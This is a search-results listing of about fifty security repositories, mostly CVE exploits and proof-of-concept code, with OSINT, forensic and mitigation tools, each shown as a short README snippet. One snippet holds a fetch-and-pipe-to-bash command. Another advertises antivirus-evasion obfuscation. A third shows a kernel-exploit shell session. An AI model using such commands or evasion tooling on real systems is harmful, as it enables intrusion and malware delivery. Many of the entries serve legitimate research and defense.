46891 matches found
cve-2021-44228-workaround-buildpack
Workaround for CVE-2021-44228 Log4j RCE exploit as a buildpack This project shows how to create a CNCF buildpack as a workaround for CVE-2021-44228, a Log4j exploit that results in remote code execution. By using this buildpack, you can apply a workaround for this exploit for every Java apps. The...
CVE_2022_38181_Gazelle
Exploit for CVE-2022-38181 to run on FireTV 3rd gen Cube This is a fork of security researcher Man Yue Mo's Pixel 6 POC for CVE202238181. Read his detailed write-up of the vulnerability here. Changes have been made to account for FireOS's 32bit userspace. The POC exploits a bug in the ARM Mali...
ssbd-tools
Tools for exercising Speculative Store Bypass Disable The ssbd-tools project is a collection of programs that makes use of the Speculative Store Bypass Disable SSBD functionality provided in x86 processors. SSBD is a processor based mitigation for the Speculative Store Bypass attack that is...
scripts
scripts My collection of scripts that I've written over the years as a SANS Internet Storm Center Handler Requirements sigs.py requires pysha3 can be installed with pip or Python = 3.6 Notes mac-robber.py has been moved to https://github.com/att/docker-forensics/blob/master/mac-robber.py pngrep.p...
ida_kernelcache
idakernelcache: An IDA Toolkit for analyzing iOS kernelcaches Cellebrite Fork This fork was updated to work on IDA 9.x / Python 3 / iOS 27.0 beta 1 Original Readme idakernelcache is an IDAPython module for IDA Pro to make working with iOS kernelcaches easier. The module provides functions to:...
querytool
QUERYTOOL - Google Sheet designed for OSINT About QueryTool is a specialized OSINT framework integrated within Google Sheets, aimed at simplifying the process of generating queries for various search engines to obtain specific results. Designed as an initial step in reconnaissance, QueryTool...
tinfoleak
tinfoleak The most complete open-source tool for Twitter intelligence analysis Introduction tinfoleak is an open-source tool within the OSINT Open Source Intelligence and SOCMINT Social Media Intelligence disciplines, that automates the extraction of information on Twitter and facilitates...
CVE-2026-85046
CVE-2026-85046...
CVE-2020-28502
This repository does not have a README...
CVE-2023-6553
CVE-2023-6553 Exploit Development for CVE-2023-6553 on Backup Plugin in Wordpress This is a critical CVE with a CVSS score of 9.8 The vulnerability allows attacker to send commands to the server running the vulnerable version of the plugin Vulnerable Version Backup :9000/a.sh |bash';?" 3. You wil...
CVE-2019-17026
This repository does not have a README...
SFPolDevChk
Salesforce Policy Deviation Checker Released as open source by NCC Group Plc - https://www.nccgroup.com/ Developed by Jerome Smith @exploresecurity With thanks to Stephen Tomkinson @neonbunny9 https://www.github.com/nccgroup/SFPolDevChk Released under AGPL - refer to LICENSE for more information...
WinRAR-Code-Execution-Vulnerability-CVE-2023-38831
Understanding WinRAR Code Execution Vulnerability CVE-2023-38831 The Overview: Part-1...
arcgis-web-shell
ArcGIS Web Shell via Geoprocessing Service This repository contains an ArcGIS geoprocessing service definition that publishes a Python toolbox as a command-execution task. It is intended for authorized security testing. Do not publish or use this service on systems where you do not have explicit...
logira
logira OS-level runtime auditing for unpredictable automation. logira is an observe-only Linux CLI that records runtime exec, file, and net events via eBPF. It helps you see what actually happened during AI agent runs and other forms of automation, with per-run local storage for auditing, post-ru...
ATAboy
If you don't want to build your own, the hardware can be purchased here: https://obsoletetech.us/products/ataboy-an-open-source-legacy-ide-usb-bridge ATAboy is designed for retro computing enthusiasts, data recovery experts, and archivists. Read and write the oldest of IDE hard drives, without th...
CVE-2024-36527
CVE-2024-36527 PoC and Bulk Scanner Overview POC for CVE-2024-36527: puppeteer-renderer v.3.2.0 and before is vulnerable to Directory Traversal. Attackers can exploit the URL parameter using the file protocol to read sensitive information from the server. Based on the security advisory published ...
CVE-2023-38408
CVE-2023-38408 Slide and source code for CS-782 attack presentation...
log4shell-remediation
This repository does not have a README...
Feb2023-CVE-2021-21974-OSINT
Feb2023-CVE-2021-21974-OSINT Analysis of the ransom demands from Shodan results and Censys For Shodan: I've provided a script that you can use as a basis for your own analysis, or to update and gather more results as Shodan scrapes them. I've also included a python script that can be used to quer...
CVE-2021-20837
CVE-2021-20837 XMLRPC - RCE in MovableTypePoC...
c0ntextomy
c0ntextomy an informal fallacy and a type of false attribution in which a passage is removed from its surrounding matter in such a way as to distort its intended meaning Wikipedia - Contextomy A Proof of Concept demonstrating the vulnerability with a debug session hijack, remote code execution, a...
CVE-2021-21551
CVE-2021-21551 Proof of concept exploit for CVE-2021-21551, vulnerability comes from user provided addresses being provided as arguments to a memmove call allowing for an arbitary read/write ioctls 0x9B0C1EC4 and 0x9B0C1EC8 as well as the physical address parameter for a MmMapIoSpace call that...
fudcrypt
fudcrypt Python3 Based Obfuscator That Can bypass any antivirus easily. Important: 1. Make Sure your payload file have all the libraries import and it will be a valid payload file 2. If Your Payload get detected then let me know i will update the stub. 3. If u need cobalt strike evasions then DM ...
HatSploit
HatSploit Framework Modular penetration testing platform that enables you to write, test, and execute exploit code. About HatSploit | Installation | Using HatSploit...
CVE-2024-46879-TikiCMS-XSS
CVE-2024-46879 - Tiki CMS Reflected Cross-Site Scripting XSS Vulnerability Tiki CMS - 'zipPath' Parameter Reflected Cross-Site Scripting XSS Vulnerability Disclaimer Intended only for educational, research, and defensive purposes. Unauthorized use against systems without permission is illegal...
CVE-2026-44840-poc
CVE-2026-44840 — PoC: Dgraph DQL Injection via checkUserPassword GraphQL Docker lab that reproduces a real injection in Dgraph: Vulnerable : dgraph/dgraph:v25.3.3 Patched : dgraph/dgraph:v25.3.4 Real CVE from 2026 · CVSS 3.1 7.5 High · CWE-943 Improper Neutralization in Data Query Logic ·...
Triage-CVE-2021-44228-Log4Shell-Log4j-
Triage: CVE-2021-44228 Log4Shell / Log4j For this lab, the goal was to triage another well-known real-world vulnerability, Log4Shell, one of the most widely exploited vulnerabilities in recent years due to how common the affected library was across enterprise software. Step 1: Open the CVE in NVD...
7-Zip.chm-Mitigation
7-Zip.chm-mitigiation 7-Zip Mtigation CVE-2022-29072 Explaination : https://user-images.githubusercontent.com/33525376/163654035-d40ca72a-7dbc-425f-ade2-3820cfababb2.mp4 Author CVE Founder : https://github.com/kagancapar/CVE-2022-29072 A vulnerability has been discovered in 7-zip, the popular...
CVE-2021-43032
CVE-2021-43032 In XenForo ≤ 2.2.7, a threat actor with access to the admin panel can save cross-site scripting payloads in any function within the application that accepts HTML code. A payload placed within the 'Advertising' functionality will execute globally on the client side, allowing for...
CVE-2021-1965
uses libwifi just for fun...
Laravel_CVE-2021-3129_EXP
LaravelCVE-2021-3129EXP Reference exp: https://github.com/SNCKER/CVE-2021-3129 Version Requirements Laravel Iginition == 2.5.1 Local version of EXP: Laravel 8.4.2 Notes You need to place this exp in the phpgcc directory, otherwise phpgcc cannot be called. example...
vulnerability-poc
Vulnerability PoC & Defense Rules Reproducible CVE labs with detection-only proof-of-concept PoC code and ready-to-deploy detection & prevention rules — Snort, YARA, Nginx, and Apache — for high-severity CVEs. Built for defenders: authorized security testing, penetration testing, blue-team...
oletools
python-oletools oletools is a package of python tools to analyze Microsoft OLE2 files also called Structured Storage, Compound File Binary Format or Compound Document File Format, such as Microsoft Office 97-2003 documents, MSI files or Outlook messages, mainly for malware analysis, forensics and...
CVE-2024-21762-Safe-Check
CVE-2024-21762 - FortiOS SSL VPN Out-of-Bounds Write Overview Field| Value ---|--- CVE| CVE-2024-21762 Advisory| FG-IR-24-015 CVSS| 9.8 Critical CWE| CWE-787 Out-of-bounds Write CISA KEV| Yes - actively exploited in the wild Attack Vector| Network unauthenticated Affected Component| sslvpnd SSL V...
CVE-2023-43804
CVE-2023-43804: urllib3 Cookie Leak Reproduction & Remediation Lab The repository includes a fully containerized, three-tier lab environment which is intended for demonstrating, taking advantage of, and verifying the fixes for CVE-2023-43804 the urllib3 Cookie Leak occurring during cross-origin...
CVE-2025-49113
CVE-2025-49113 Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization...
CVE-2017-5638
CVE-2017-5638 Apache Struts 2.0 RCE vulnerability This is a script to exploit CVE-2017-5638 - It allows an attacker to inject OS commands into a web application through the content-type header Apache Struts 2 is an open-source web application framework for developing Java EE web applications. It...
log4shell-mitigation-tester
Log4Shell Mitigation tester This is an example application using Log4j 2.14.1 . source code: App.java The purpose of this is to be able to test different mitigation approaches. The mitigation approaches are also mentioned in Microsoft’s Response to CVE-2021-44228 Apache Log4j 2. Example usage...
stego-toolkit
Steganography Toolkit This project is a Docker image useful for solving Steganography challenges as those you can find at CTF platforms like hackthebox.eu. The image comes pre-installed with many popular tools see list below and several screening scripts you can use check simple things for...
aws-key-disabler
AWS Lambda - IAM Access Key Disabler The AWS Key disabler is a Lambda Function that disables AWS IAM User Access Keys after a set amount of time in order to reduce the risk associated with old access keys. AWS Lambda Architecture SysOps Output for EndUser Developer Toolchain Current Limitations A...
VAmPI
VAmPI The Vulnerable API Based on OpenAPI 3 VAmPI is a vulnerable API made with Flask and it includes vulnerabilities from the OWASP top 10 vulnerabilities for APIs. It was created as I wanted a vulnerable API to evaluate the efficiency of tools used to detect security issues in APIs. It includes...
pwndoc
PwnDoc PwnDoc is a pentest reporting application making it simple and easy to write your findings and generate a customizable Docx report. The main goal is to have more time to Pwn and less time to Doc by mutualizing data like vulnerabilities between users. Documentation Installation Data Roles...
cve-2013-3900-remediation-report
Remediation Report: CVE-2013-3900 – WinVerifyTrust Vulnerability on Windows Server 2019 Azure VM Overview During a recent authenticated vulnerability assessment conducted using Tenable Nessus, CVE-2013-3900 was detected on a Windows Server 2019 virtual machine hosted in Microsoft Azure. This scan...
CVE-2026-66492
Path Traversal in File Upload Destination PhocaCommander ≤ 6.1.3 — Authenticated Admin Writes Files Outside Webroot SUMMARY The file upload handler in PhocaCommander constructs the destination path from an attacker-controlled base64-encoded folder parameter without any path containment validation...
CVE-2025-55182-POC
CVE-2025-55182 POC & Detection Collection of exploit and detection tools for React Server Components RSC Unsafe Deserialization vulnerability Vulnerability Information CVE-ID : CVE-2025-55182 Affected Versions : React 19.x, Next.js 15.x/16.x when using App Router Attack Vector : RCE via prototype...
cve-2017-7374
cve-2017-7374 To trigger the vulnerability, we need a ext4 file system with encryption support and create a encrypted directory...
CVE-2015-8543_for_SLE12SP1
$cat /etc/-release PRETTYNAME="SUSE Linux Enterprise Server 12 SP1" $id uid=1000jeremysp1 gid=100users groups=100users $sudo sh disablesecurity.sh $gcc exp.c -o exp 2/dev/null $../nsjail/nsjail -Mo --user 0 --group 0 --keepcaps --chroot / -- /bin/sh -i sh-4.2 /home/jeremysp1/nullpointerderf/exp +...
CVE-2025-24813
CVE-2025-24813 - Apache Tomcat Path Equivalence Vulnerability Apache Tomcat is vulnerable to a Path Equivalence / Path Traversal issue due to improper handling of ../ sequences in paths. CVE ID: CVE-2025-24813 Severity: Critical Reference link: https://github.com/advisories/GHSA-83qj-6fr2-vhqg Po...